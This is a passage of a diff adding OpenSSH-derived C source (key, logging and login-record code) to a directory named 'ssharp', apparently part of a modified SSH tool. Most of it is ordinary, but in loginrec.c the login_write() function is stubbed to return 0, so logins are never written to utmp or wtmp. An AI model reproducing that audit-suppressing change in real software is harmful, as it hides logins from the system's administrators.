modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef KEY_H +#define KEY_H + +#include +#include + +typedef struct Key Key; +enum types { + KEY_RSA1, + KEY_RSA, + KEY_DSA, + KEY_UNSPEC +}; +enum fp_type { + SSH_FP_SHA1, + SSH_FP_MD5 +}; +enum fp_rep { + SSH_FP_HEX, + SSH_FP_BUBBLEBABBLE +}; +struct Key { + int type; + RSA *rsa; + DSA *dsa; +}; + +Key *key_new(int type); +Key *key_new_private(int type); +void key_free(Key *k); +int key_equal(Key *a, Key *b); +char *key_fingerprint(Key *k, enum fp_type dgst_type, enum fp_rep dgst_rep); +char *key_type(Key *k); +int key_write(Key *key, FILE *f); +int key_read(Key *key, char **cpp); +u_int key_size(Key *k); + +Key *key_generate(int type, u_int bits); +Key *key_from_private(Key *k); +int key_type_from_name(char *name); + +Key *key_from_blob(char *blob, int blen); +int key_to_blob(Key *key, u_char **blobp, u_int *lenp); +char *key_ssh_name(Key *k); +int key_names_valid2(const char *names); + +int +key_sign( + Key *key, + u_char **sigp, int *lenp, + u_char *data, int datalen); + +int +key_verify( + Key *key, + u_char *signature, int signaturelen, + u_char *data, int datalen); + +#endif diff --git a/other/ssharp/log.c b/other/ssharp/log.c new file mode 100644 index 0000000..761f839 --- /dev/null +++ b/other/ssharp/log.c @@ -0,0 +1,387 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: log.c,v 1.17 2001/03/04 17:42:28 millert Exp $"); + +#include "log.h" +#include "xmalloc.h" + +#include + +static LogLevel log_level = SYSLOG_LEVEL_INFO; +static int log_on_stderr = 1; +static int log_facility = LOG_AUTH; +static char *argv0; + +extern char *__progname; + +/* textual representation of log-facilities/levels */ + +static struct { + const char *name; + SyslogFacility val; +} log_facilities[] = { + { "DAEMON", SYSLOG_FACILITY_DAEMON }, + { "USER", SYSLOG_FACILITY_USER }, + { "AUTH", SYSLOG_FACILITY_AUTH }, +#ifdef LOG_AUTHPRIV + { "AUTHPRIV", SYSLOG_FACILITY_AUTHPRIV }, +#endif + { "LOCAL0", SYSLOG_FACILITY_LOCAL0 }, + { "LOCAL1", SYSLOG_FACILITY_LOCAL1 }, + { "LOCAL2", SYSLOG_FACILITY_LOCAL2 }, + { "LOCAL3", SYSLOG_FACILITY_LOCAL3 }, + { "LOCAL4", SYSLOG_FACILITY_LOCAL4 }, + { "LOCAL5", SYSLOG_FACILITY_LOCAL5 }, + { "LOCAL6", SYSLOG_FACILITY_LOCAL6 }, + { "LOCAL7", SYSLOG_FACILITY_LOCAL7 }, + { NULL, 0 } +}; + +static struct { + const char *name; + LogLevel val; +} log_levels[] = +{ + { "QUIET", SYSLOG_LEVEL_QUIET }, + { "FATAL", SYSLOG_LEVEL_FATAL }, + { "ERROR", SYSLOG_LEVEL_ERROR }, + { "INFO", SYSLOG_LEVEL_INFO }, + { "VERBOSE", SYSLOG_LEVEL_VERBOSE }, + { "DEBUG", SYSLOG_LEVEL_DEBUG1 }, + { "DEBUG1", SYSLOG_LEVEL_DEBUG1 }, + { "DEBUG2", SYSLOG_LEVEL_DEBUG2 }, + { "DEBUG3", SYSLOG_LEVEL_DEBUG3 }, + { NULL, 0 } +}; + +SyslogFacility +log_facility_number(char *name) +{ + int i; + if (name != NULL) + for (i = 0; log_facilities[i].name; i++) + if (strcasecmp(log_facilities[i].name, name) == 0) + return log_facilities[i].val; + return (SyslogFacility) - 1; +} + +LogLevel +log_level_number(char *name) +{ + int i; + if (name != NULL) + for (i = 0; log_levels[i].name; i++) + if (strcasecmp(log_levels[i].name, name) == 0) + return log_levels[i].val; + return (LogLevel) - 1; +} +/* Fatal messages. This function never returns. */ + +void +fatal(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_FATAL, fmt, args); + va_end(args); + fatal_cleanup(); +} + +/* Error messages that should be logged. */ + +void +error(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_ERROR, fmt, args); + va_end(args); +} + +/* Log this message (information that usually should go to the log). */ + +void +log(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_INFO, fmt, args); + va_end(args); +} + +/* More detailed messages (information that does not need to go to the log). */ + +void +verbose(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_VERBOSE, fmt, args); + va_end(args); +} + +/* Debugging messages that should not be logged during normal operation. */ + +void +debug(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_DEBUG1, fmt, args); + va_end(args); +} + +void +debug2(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_DEBUG2, fmt, args); + va_end(args); +} + +void +debug3(const char *fmt,...) +{ + va_list args; + va_start(args, fmt); + do_log(SYSLOG_LEVEL_DEBUG3, fmt, args); + va_end(args); +} + +/* Fatal cleanup */ + +struct fatal_cleanup { + struct fatal_cleanup *next; + void (*proc) (void *); + void *context; +}; + +static struct fatal_cleanup *fatal_cleanups = NULL; + +/* Registers a cleanup function to be called by fatal() before exiting. */ + +void +fatal_add_cleanup(void (*proc) (void *), void *context) +{ + struct fatal_cleanup *cu; + + cu = xmalloc(sizeof(*cu)); + cu->proc = proc; + cu->context = context; + cu->next = fatal_cleanups; + fatal_cleanups = cu; +} + +/* Removes a cleanup frunction to be called at fatal(). */ + +void +fatal_remove_cleanup(void (*proc) (void *context), void *context) +{ + struct fatal_cleanup **cup, *cu; + + for (cup = &fatal_cleanups; *cup; cup = &cu->next) { + cu = *cup; + if (cu->proc == proc && cu->context == context) { + *cup = cu->next; + xfree(cu); + return; + } + } + fatal("fatal_remove_cleanup: no such cleanup function: 0x%lx 0x%lx", + (u_long) proc, (u_long) context); +} + +/* Cleanup and exit */ +void +fatal_cleanup(void) +{ + struct fatal_cleanup *cu, *next_cu; + static int called = 0; + + if (called) + exit(255); + called = 1; + /* Call cleanup functions. */ + for (cu = fatal_cleanups; cu; cu = next_cu) { + next_cu = cu->next; + debug("Calling cleanup 0x%lx(0x%lx)", + (u_long) cu->proc, (u_long) cu->context); + (*cu->proc) (cu->context); + } + exit(255); +} + + +/* + * Initialize the log. + */ + +void +log_init(char *av0, LogLevel level, SyslogFacility facility, int on_stderr) +{ + argv0 = av0; + + switch (level) { + case SYSLOG_LEVEL_QUIET: + case SYSLOG_LEVEL_FATAL: + case SYSLOG_LEVEL_ERROR: + case SYSLOG_LEVEL_INFO: + case SYSLOG_LEVEL_VERBOSE: + case SYSLOG_LEVEL_DEBUG1: + case SYSLOG_LEVEL_DEBUG2: + case SYSLOG_LEVEL_DEBUG3: + log_level = level; + break; + default: + fprintf(stderr, "Unrecognized internal syslog level code %d\n", + (int) level); + exit(1); + } + + log_on_stderr = on_stderr; + if (on_stderr) + return; + + switch (facility) { + case SYSLOG_FACILITY_DAEMON: + log_facility = LOG_DAEMON; + break; + case SYSLOG_FACILITY_USER: + log_facility = LOG_USER; + break; + case SYSLOG_FACILITY_AUTH: + log_facility = LOG_AUTH; + break; +#ifdef LOG_AUTHPRIV + case SYSLOG_FACILITY_AUTHPRIV: + log_facility = LOG_AUTHPRIV; + break; +#endif + case SYSLOG_FACILITY_LOCAL0: + log_facility = LOG_LOCAL0; + break; + case SYSLOG_FACILITY_LOCAL1: + log_facility = LOG_LOCAL1; + break; + case SYSLOG_FACILITY_LOCAL2: + log_facility = LOG_LOCAL2; + break; + case SYSLOG_FACILITY_LOCAL3: + log_facility = LOG_LOCAL3; + break; + case SYSLOG_FACILITY_LOCAL4: + log_facility = LOG_LOCAL4; + break; + case SYSLOG_FACILITY_LOCAL5: + log_facility = LOG_LOCAL5; + break; + case SYSLOG_FACILITY_LOCAL6: + log_facility = LOG_LOCAL6; + break; + case SYSLOG_FACILITY_LOCAL7: + log_facility = LOG_LOCAL7; + break; + default: + fprintf(stderr, + "Unrecognized internal syslog facility code %d\n", + (int) facility); + exit(1); + } +} + +#define MSGBUFSIZ 1024 + +void +do_log(LogLevel level, const char *fmt, va_list args) +{ + char msgbuf[MSGBUFSIZ]; + char fmtbuf[MSGBUFSIZ]; + char *txt = NULL; + int pri = LOG_INFO; + + if (level > log_level) + return; + + switch (level) { + case SYSLOG_LEVEL_FATAL: + if (!log_on_stderr) + txt = "fatal"; + pri = LOG_CRIT; + break; + case SYSLOG_LEVEL_ERROR: + if (!log_on_stderr) + txt = "error"; + pri = LOG_ERR; + break; + case SYSLOG_LEVEL_INFO: + pri = LOG_INFO; + break; + case SYSLOG_LEVEL_VERBOSE: + pri = LOG_INFO; + break; + case SYSLOG_LEVEL_DEBUG1: + txt = "debug1"; + pri = LOG_DEBUG; + break; + case SYSLOG_LEVEL_DEBUG2: + txt = "debug2"; + pri = LOG_DEBUG; + break; + case SYSLOG_LEVEL_DEBUG3: + txt = "debug3"; + pri = LOG_DEBUG; + break; + default: + txt = "internal error"; + pri = LOG_ERR; + break; + } + if (txt != NULL) { + snprintf(fmtbuf, sizeof(fmtbuf), "%s: %s", txt, fmt); + vsnprintf(msgbuf, sizeof(msgbuf), fmtbuf, args); + } else { + vsnprintf(msgbuf, sizeof(msgbuf), fmt, args); + } + if (log_on_stderr) { + fprintf(stderr, "%s\r\n", msgbuf); + } else { + openlog("ssharp", LOG_PID, log_facility); + syslog(pri, "%.500s", msgbuf); + closelog(); + } +} diff --git a/other/ssharp/log.h b/other/ssharp/log.h new file mode 100644 index 0000000..6da5bcc --- /dev/null +++ b/other/ssharp/log.h @@ -0,0 +1,80 @@ +/* $OpenBSD: log.h,v 1.2 2001/01/29 01:58:16 niklas Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#ifndef SSH_LOG_H +#define SSH_LOG_H + +#include /* Needed for LOG_AUTHPRIV (if present) */ + +/* Supported syslog facilities and levels. */ +typedef enum { + SYSLOG_FACILITY_DAEMON, + SYSLOG_FACILITY_USER, + SYSLOG_FACILITY_AUTH, +#ifdef LOG_AUTHPRIV + SYSLOG_FACILITY_AUTHPRIV, +#endif + SYSLOG_FACILITY_LOCAL0, + SYSLOG_FACILITY_LOCAL1, + SYSLOG_FACILITY_LOCAL2, + SYSLOG_FACILITY_LOCAL3, + SYSLOG_FACILITY_LOCAL4, + SYSLOG_FACILITY_LOCAL5, + SYSLOG_FACILITY_LOCAL6, + SYSLOG_FACILITY_LOCAL7 +} SyslogFacility; + +typedef enum { + SYSLOG_LEVEL_QUIET, + SYSLOG_LEVEL_FATAL, + SYSLOG_LEVEL_ERROR, + SYSLOG_LEVEL_INFO, + SYSLOG_LEVEL_VERBOSE, + SYSLOG_LEVEL_DEBUG1, + SYSLOG_LEVEL_DEBUG2, + SYSLOG_LEVEL_DEBUG3 +} LogLevel; +/* Initializes logging. */ +void log_init(char *av0, LogLevel level, SyslogFacility facility, int on_stderr); + +/* Logging implementation, depending on server or client */ +void do_log(LogLevel level, const char *fmt, va_list args); + +/* name to facility/level */ +SyslogFacility log_facility_number(char *name); +LogLevel log_level_number(char *name); + +/* Output a message to syslog or stderr */ +void fatal(const char *fmt,...) __attribute__((format(printf, 1, 2))); +void error(const char *fmt,...) __attribute__((format(printf, 1, 2))); +void log(const char *fmt,...) __attribute__((format(printf, 1, 2))); +void verbose(const char *fmt,...) __attribute__((format(printf, 1, 2))); +void debug(const char *fmt,...) __attribute__((format(printf, 1, 2))); +void debug2(const char *fmt,...) __attribute__((format(printf, 1, 2))); +void debug3(const char *fmt,...) __attribute__((format(printf, 1, 2))); + +/* same as fatal() but w/o logging */ +void fatal_cleanup(void); + +/* + * Registers a cleanup function to be called by fatal()/fatal_cleanup() + * before exiting. It is permissible to call fatal_remove_cleanup for the + * function itself from the function. + */ +void fatal_add_cleanup(void (*proc) (void *context), void *context); + +/* Removes a cleanup function to be called at fatal(). */ +void fatal_remove_cleanup(void (*proc) (void *context), void *context); + +#endif diff --git a/other/ssharp/loginrec.c b/other/ssharp/loginrec.c new file mode 100644 index 0000000..893c57c --- /dev/null +++ b/other/ssharp/loginrec.c @@ -0,0 +1,1447 @@ +/* + * Copyright (c) 2000 Andre Lucas. All rights reserved. + * Portions copyright (c) 1998 Todd C. Miller + * Portions copyright (c) 1996 Jason Downs + * Portions copyright (c) 1996 Theo de Raadt + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/** + ** loginrec.c: platform-independent login recording and lastlog retrieval + **/ + +/* + The new login code explained + ============================ + + This code attempts to provide a common interface to login recording + (utmp and friends) and last login time retrieval. + + Its primary means of achieving this is to use 'struct logininfo', a + union of all the useful fields in the various different types of + system login record structures one finds on UNIX variants. + + We depend on autoconf to define which recording methods are to be + used, and which fields are contained in the relevant data structures + on the local system. Many C preprocessor symbols affect which code + gets compiled here. + + The code is designed to make it easy to modify a particular + recording method, without affecting other methods nor requiring so + many nested conditional compilation blocks as were commonplace in + the old code. + + For login recording, we try to use the local system's libraries as + these are clearly most likely to work correctly. For utmp systems + this usually means login() and logout() or setutent() etc., probably + in libutil, along with logwtmp() etc. On these systems, we fall back + to writing the files directly if we have to, though this method + requires very thorough testing so we do not corrupt local auditing + information. These files and their access methods are very system + specific indeed. + + For utmpx systems, the corresponding library functions are + setutxent() etc. To the author's knowledge, all utmpx systems have + these library functions and so no direct write is attempted. If such + a system exists and needs support, direct analogues of the [uw]tmp + code should suffice. + + Retrieving the time of last login ('lastlog') is in some ways even + more problemmatic than login recording. Some systems provide a + simple table of all users which we seek based on uid and retrieve a + relatively standard structure. Others record the same information in + a directory with a separate file, and others don't record the + information separately at all. For systems in the latter category, + we look backwards in the wtmp or wtmpx file for the last login entry + for our user. Naturally this is slower and on busy systems could + incur a significant performance penalty. + + Calling the new code + -------------------- + + In OpenSSH all login recording and retrieval is performed in + login.c. Here you'll find working examples. Also, in the logintest.c + program there are more examples. + + Internal handler calling method + ------------------------------- + + When a call is made to login_login() or login_logout(), both + routines set a struct logininfo flag defining which action (log in, + or log out) is to be taken. They both then call login_write(), which + calls whichever of the many structure-specific handlers autoconf + selects for the local system. + + The handlers themselves handle system data structure specifics. Both + struct utmp and struct utmpx have utility functions (see + construct_utmp*()) to try to make it simpler to add extra systems + that introduce new features to either structure. + + While it may seem terribly wasteful to replicate so much similar + code for each method, experience has shown that maintaining code to + write both struct utmp and utmpx in one function, whilst maintaining + support for all systems whether they have library support or not, is + a difficult and time-consuming task. + + Lastlog support proceeds similarly. Functions login_get_lastlog() + (and its OpenSSH-tuned friend login_get_lastlog_time()) call + getlast_entry(), which tries one of three methods to find the last + login time. It uses local system lastlog support if it can, + otherwise it tries wtmp or wtmpx before giving up and returning 0, + meaning "tilt". + + Maintenance + ----------- + + In many cases it's possible to tweak autoconf to select the correct + methods for a particular platform, either by improving the detection + code (best), or by presetting DISABLE_ or CONF__FILE + symbols for the platform. + + Use logintest to check which symbols are defined before modifying + configure.in and loginrec.c. (You have to build logintest yourself + with 'make logintest' as it's not built by default.) + + Otherwise, patches to the specific method(s) are very helpful! + +*/ + +/** + ** TODO: + ** homegrown ttyslot() + ** test, test, test + ** + ** Platform status: + ** ---------------- + ** + ** Known good: + ** Linux (Redhat 6.2, Debian) + ** Solaris + ** HP-UX 10.20 (gcc only) + ** IRIX + ** NeXT - M68k/HPPA/Sparc (4.2/3.3) + ** + ** Testing required: Please send reports! + ** NetBSD + ** HP-UX 11 + ** AIX + ** + ** Platforms with known problems: + ** Some variants of Slackware Linux + ** + **/ + +#include "includes.h" + +#include "ssh.h" +#include "xmalloc.h" +#include "loginrec.h" +#include "log.h" +#include "atomicio.h" + +RCSID("$Id: loginrec.c,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $"); + +#ifdef HAVE_UTIL_H +# include +#endif + +#ifdef HAVE_LIBUTIL_H +# include +#endif + +/** + ** prototypes for helper functions in this file + **/ + +#if HAVE_UTMP_H +void set_utmp_time(struct logininfo *li, struct utmp *ut); +void construct_utmp(struct logininfo *li, struct utmp *ut); +#endif + +#ifdef HAVE_UTMPX_H +void set_utmpx_time(struct logininfo *li, struct utmpx *ut); +void construct_utmpx(struct logininfo *li, struct utmpx *ut); +#endif + +int utmp_write_entry(struct logininfo *li); +int utmpx_write_entry(struct logininfo *li); +int wtmp_write_entry(struct logininfo *li); +int wtmpx_write_entry(struct logininfo *li); +int lastlog_write_entry(struct logininfo *li); +int syslogin_write_entry(struct logininfo *li); + +int getlast_entry(struct logininfo *li); +int lastlog_get_entry(struct logininfo *li); +int wtmp_get_entry(struct logininfo *li); +int wtmpx_get_entry(struct logininfo *li); + +/* pick the shortest string */ +#define MIN_SIZEOF(s1,s2) ( sizeof(s1) < sizeof(s2) ? sizeof(s1) : sizeof(s2) ) + +/** + ** platform-independent login functions + **/ + +/* login_login(struct logininfo *) -Record a login + * + * Call with a pointer to a struct logininfo initialised with + * login_init_entry() or login_alloc_entry() + * + * Returns: + * >0 if successful + * 0 on failure (will use OpenSSH's logging facilities for diagnostics) + */ +int +login_login (struct logininfo *li) +{ + li->type = LTYPE_LOGIN; + return login_write(li); +} + + +/* login_logout(struct logininfo *) - Record a logout + * + * Call as with login_login() + * + * Returns: + * >0 if successful + * 0 on failure (will use OpenSSH's logging facilities for diagnostics) + */ +int +login_logout(struct logininfo *li) +{ + li->type = LTYPE_LOGOUT; + return login_write(li); +} + +/* login_get_lastlog_time(int) - Retrieve the last login time + * + * Retrieve the last login time for the given uid. Will try to use the + * system lastlog facilities if they are available, but will fall back + * to looking in wtmp/wtmpx if necessary + * + * Returns: + * 0 on failure, or if user has never logged in + * Time in seconds from the epoch if successful + * + * Useful preprocessor symbols: + * DISABLE_LASTLOG: If set, *never* even try to retrieve lastlog + * info + * USE_LASTLOG: If set, indicates the presence of system lastlog + * facilities. If this and DISABLE_LASTLOG are not set, + * try to retrieve lastlog information from wtmp/wtmpx. + */ +unsigned int +login_get_lastlog_time(const int uid) +{ + struct logininfo li; + + if (login_get_lastlog(&li, uid)) + return li.tv_sec; + else + return 0; +} + +/* login_get_lastlog(struct logininfo *, int) - Retrieve a lastlog entry + * + * Retrieve a logininfo structure populated (only partially) with + * information from the system lastlog data, or from wtmp/wtmpx if no + * system lastlog information exists. + * + * Note this routine must be given a pre-allocated logininfo. + * + * Returns: + * >0: A pointer to your struct logininfo if successful + * 0 on failure (will use OpenSSH's logging facilities for diagnostics) + * + */ +struct logininfo * +login_get_lastlog(struct logininfo *li, const int uid) +{ + struct passwd *pw; + + memset(li, '\0', sizeof(*li)); + li->uid = uid; + + /* + * If we don't have a 'real' lastlog, we need the username to + * reliably search wtmp(x) for the last login (see + * wtmp_get_entry().) + */ + pw = getpwuid(uid); + if (pw == NULL) + fatal("login_get_lastlog: Cannot find account for uid %i", uid); + + /* No MIN_SIZEOF here - we absolutely *must not* truncate the + * username */ + strlcpy(li->username, pw->pw_name, sizeof(li->username)); + + if (getlast_entry(li)) + return li; + else + return NULL; +} + + +/* login_alloc_entry(int, char*, char*, char*) - Allocate and initialise + * a logininfo structure + * + * This function creates a new struct logininfo, a data structure + * meant to carry the information required to portably record login info. + * + * Returns a pointer to a newly created struct logininfo. If memory + * allocation fails, the program halts. + */ +struct +logininfo *login_alloc_entry(int pid, const char *username, + const char *hostname, const char *line) +{ + struct logininfo *newli; + + newli = (struct logininfo *) xmalloc (sizeof(*newli)); + (void)login_init_entry(newli, pid, username, hostname, line); + return newli; +} + + +/* login_free_entry(struct logininfo *) - free struct memory */ +void +login_free_entry(struct logininfo *li) +{ + xfree(li); +} + + +/* login_init_entry(struct logininfo *, int, char*, char*, char*) + * - initialise a struct logininfo + * + * Populates a new struct logininfo, a data structure meant to carry + * the information required to portably record login info. + * + * Returns: 1 + */ +int +login_init_entry(struct logininfo *li, int pid, const char *username, + const char *hostname, const char *line) +{ + struct passwd *pw; + + memset(li, 0, sizeof(*li)); + + li->pid = pid; + + /* set the line information */ + if (line) + line_fullname(li->line, line, sizeof(li->line)); + + if (username) { + strlcpy(li->username, username, sizeof(li->username)); + pw = getpwnam(li->username); + if (pw == NULL) + fatal("login_init_entry: Cannot find user \"%s\"", li->username); + li->uid = pw->pw_uid; + } + + if (hostname) + strlcpy(li->hostname, hostname, sizeof(li->hostname)); + + return 1; +} + +/* login_set_current_time(struct logininfo *) - set the current time + * + * Set the current time in a logininfo structure. This function is + * meant to eliminate the need to deal with system dependencies for + * time handling. + */ +void +login_set_current_time(struct logininfo *li) +{ + struct timeval tv; + + gettimeofday(&tv, NULL); + + li->tv_sec = tv.tv_sec; + li->tv_usec = tv.tv_usec; +} + +/* copy a sockaddr_* into our logininfo */ +void +login_set_addr(struct logininfo *li, const struct sockaddr *sa, + const unsigned int sa_size) +{ + unsigned int bufsize = sa_size; + + /* make sure we don't overrun our union */ + if (sizeof(li->hostaddr) < sa_size) + bufsize = sizeof(li->hostaddr); + + memcpy((void *)&(li->hostaddr.sa), (const void *)sa, bufsize); +} + + +/** + ** login_write: Call low-level recording functions based on autoconf + ** results + **/ +int +login_write (struct logininfo *li) +{ + return 0; +} + +/** + ** getlast_entry: Call low-level functions to retrieve the last login + ** time. + **/ + +/* take the uid in li and return the last login time */ +int +getlast_entry(struct logininfo *li) +{ +#ifdef USE_LASTLOG + return(lastlog_get_entry(li)); +#else /* !USE_LASTLOG */ + +#ifdef DISABLE_LASTLOG + /* On some systems we shouldn't even try to obtain last login + * time, e.g. AIX */ + return 0; +# else /* DISABLE_LASTLOG */ + /* Try to retrieve the last login time from wtmp */ +# if defined(USE_WTMP) && (defined(HAVE_TIME_IN_UTMP) || defined(HAVE_TV_IN_UTMP)) + /* retrieve last login time from utmp */ + return (wtmp_get_entry(li)); +# else /* defined(USE_WTMP) && (defined(HAVE_TIME_IN_UTMP) || defined(HAVE_TV_IN_UTMP)) */ + /* If wtmp isn't available, try wtmpx */ +# if defined(USE_WTMPX) && (defined(HAVE_TIME_IN_UTMPX) || defined(HAVE_TV_IN_UTMPX)) + /* retrieve last login time from utmpx */ + return (wtmpx_get_entry(li)); +# else + /* Give up: No means of retrieving last login time */ + return 0; +# endif /* USE_WTMPX && (HAVE_TIME_IN_UTMPX || HAVE_TV_IN_UTMPX) */ +# endif /* USE_WTMP && (HAVE_TIME_IN_UTMP || HAVE_TV_IN_UTMP) */ +# endif /* DISABLE_LASTLOG */ +#endif /* USE_LASTLOG */ +} + + + +/* + * 'line' string utility functions + * + * These functions process the 'line' string into one of three forms: + * + * 1. The full filename (including '/dev') + * 2. The stripped name (excluding '/dev') + * 3. The abbreviated name (e.g. /dev/ttyp00 -> yp00 + * /dev/pts/1 -> ts/1 ) + * + * Form 3 is used on some systems to identify a .tmp.? entry when + * attempting to remove it. Typically both addition and removal is + * performed by one application - say, sshd - so as long as the choice + * uniquely identifies a terminal it's ok. + */ + + +/* line_fullname(): add the leading '/dev/' if it doesn't exist make + * sure dst has enough space, if not just copy src (ugh) */ +char * +line_fullname(char *dst, const char *src, int dstsize) +{ + memset(dst, '\0', dstsize); + if ((strncmp(src, "/dev/", 5) == 0) || (dstsize < (strlen(src) + 5))) { + strlcpy(dst, src, dstsize); + } else { + strlcpy(dst, "/dev/", dstsize); + strlcat(dst, src, dstsize); + } + return dst; +} + +/* line_stripname(): strip the leading '/dev' if it exists, return dst */ +char * +line_stripname(char *dst, const char *src, int dstsize) +{ + memset(dst, '\0', dstsize); + if (strncmp(src, "/dev/", 5) == 0) + strlcpy(dst, src + 5, dstsize); + else + strlcpy(dst, src, dstsize); + return dst; +} + +/* line_abbrevname(): Return the abbreviated (usually four-character) + * form of the line (Just use the last characters of the + * full name.) + * + * NOTE: use strncpy because we do NOT necessarily want zero + * termination */ +char * +line_abbrevname(char *dst, const char *src, int dstsize) +{ + size_t len; + + memset(dst, '\0', dstsize); + + /* Always skip prefix if present */ + if (strncmp(src, "/dev/", 5) == 0) + src += 5; + + len = strlen(src); + + if (len > 0) { + if (((int)len - dstsize) > 0) + src += ((int)len - dstsize); + + /* note: _don't_ change this to strlcpy */ + strncpy(dst, src, (size_t)dstsize); + } + + return dst; +} + +/** + ** utmp utility functions + ** + ** These functions manipulate struct utmp, taking system differences + ** into account. + **/ + +#if defined(USE_UTMP) || defined (USE_WTMP) || defined (USE_LOGIN) + +/* build the utmp structure */ +void +set_utmp_time(struct logininfo *li, struct utmp *ut) +{ +# ifdef HAVE_TV_IN_UTMP + ut->ut_tv.tv_sec = li->tv_sec; + ut->ut_tv.tv_usec = li->tv_usec; +# else +# ifdef HAVE_TIME_IN_UTMP + ut->ut_time = li->tv_sec; +# endif +# endif +} + +void +construct_utmp(struct logininfo *li, + struct utmp *ut) +{ + memset(ut, '\0', sizeof(*ut)); + + /* First fill out fields used for both logins and logouts */ + +# ifdef HAVE_ID_IN_UTMP + line_abbrevname(ut->ut_id, li->line, sizeof(ut->ut_id)); +# endif + +# ifdef HAVE_TYPE_IN_UTMP + /* This is done here to keep utmp constants out of struct logininfo */ + switch (li->type) { + case LTYPE_LOGIN: + ut->ut_type = USER_PROCESS; + break; + case LTYPE_LOGOUT: + ut->ut_type = DEAD_PROCESS; + break; + } +# endif + set_utmp_time(li, ut); + + line_stripname(ut->ut_line, li->line, sizeof(ut->ut_line)); + +# ifdef 